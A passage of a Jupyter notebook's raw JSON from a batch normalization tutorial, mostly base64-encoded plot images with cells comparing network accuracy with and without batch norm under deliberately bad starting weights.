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\nTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6b131fd0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 2, tf.nn.sigmoid, 2000, 50)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the rest of the examples, we use really bad starting weights. That is, normally we would use very small values close to zero. However, in these examples we choose randome values with a standard deviation of 5. If you were really training a neural network, you would **not** want to do this. But these examples demonstrate how batch normalization makes your network much more resilient. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 0.01, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:43<00:00, 1147.21it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.0957999974489212\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:37<00:00, 515.05it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.7945998311042786\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.09799998998641968\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.7990000247955322\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYUAAAEWCAYAAACJ0YulAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3Xl4VdXV+PHvSgghkDBDGJVBFJlEjKAoNagoWBW1KDgh\nWqRW0TrUvvjWWvWnfR1Qq9ZKqbOlonVERKkDqVJABg0yIyAyzzIkJJBh/f7YJ5fL5Sa5ueTkJrnr\n8zx5cs+81yWcdc7e++wjqooxxhgDkBDrAhhjjKk+LCkYY4wJsKRgjDEmwJKCMcaYAEsKxhhjAiwp\nGGOMCbCkUIuJSAcRURGp401/LCLXRbJuFMf6XxF54WjKa/whIhNE5A+xLkd5RCRTRJZU9rqmYsSe\nU6i+ROQTYK6q3hcyfyjwN6CdqhaWsX0H4Acgqaz1olg3E/iHqrYrN4hK4h1zBjBOVR+tquNWJRG5\nH/g9kO/N2gz8G3hYVTfHqlzhiMgA4OOSSaA+kBu0SjdVXVflBTNHze4UqrdXgWtERELmXwtMKu/k\nXctcB+wCRlb1gaO9e4rSm6qaBjQFLgVaAQtEpHU0OxORxMosXAlV/UpVU1U1FejuzW5cMi80IYhI\ngojY+aYGsH+k6u19oBkwoGSGiDQBLgRe86Z/LiLfisheEVnvXW2GJSJZIjLa+5woIuNFZIeIrAF+\nHrLu9SKyTET2icgaEfmVN78B7gqxjYjkeD9tROR+EflH0PYXi8gSEdntHffEoGVrReS3IvKdiOwR\nkTdFpF4Z5W4ADANuAbqISEbI8jNFZJZ3rPUiMsqbnyIiT4jIj95xZnrzMkVkQ8g+1orIud7n+0Xk\nbRH5h4jsBUaJSF8Rme0dY7OI/EVE6gZt311EPhWRXSKy1atOayUi+0WkWdB6fURku4gklRYvgKoW\nqOoSYDiwHbjL236UiMwMKbuKyHHe51dE5HkRmSYiucBAb95D3vJMEdkgIneJyDYvluuD9tVMRD70\n/p7michDoceLlPd9/z8RmY27izhGREYH/V2tLvl79NY/V0TWBk1vEJE7RWSR9+/3hogkV3Rdb/k9\nIrJFRDaKyI3ed9YhmrhqO0sK1Ziq5gFvcfjV8RXAclVd6E3nessb407svxaRSyLY/Y245HIykIE7\n6Qbb5i1vCFwPPCUifVQ1FxgCbAq6KtwUvKGIHA+8AdwOtACmAR8Gn0S9OAYDHYFewKgyynoZkAP8\nC5iOu2soOdaxuCT1rHes3kC2t3g8cArQH3fl/TuguKwvJchQ4G3c9zoJKALuAJoDpwPnADd7ZUgD\nPgM+AdoAxwGfq+oWIMuLtcS1wGRVLYikEKpaBHxA0IVBBK4CHgbSgHAn9FZAI6At8EvgOXEXGwDP\n4f6mWuG+57BtUBVwLXAD7u9oA7AV93faEPc3+KyI9Cpj+yuAQUAn3L/ltRVdV0QuBG4FBgLHA2dH\nH07tZ0mh+nsVGBZ0JT3SmweAqmap6iJVLVbV73An47Mi2O8VwJ9Vdb2q7gL+L3ihqn6kqqvV+Q+u\nbjvSE9Nw4CNV/dQ7+Y0HUnAn5xLPqOom79gf4k7mpbkOV61SBPwTGBF0pX0V8JmqvuFdXe9U1Wxx\nVRU3AL9R1Y2qWqSqs1T1QIQxzFbV973vNU9VF6jqHFUtVNW1uDadku/5QmCLqj6hqvmquk9Vv/aW\nvQpcA4GqnCuB1yMsQ4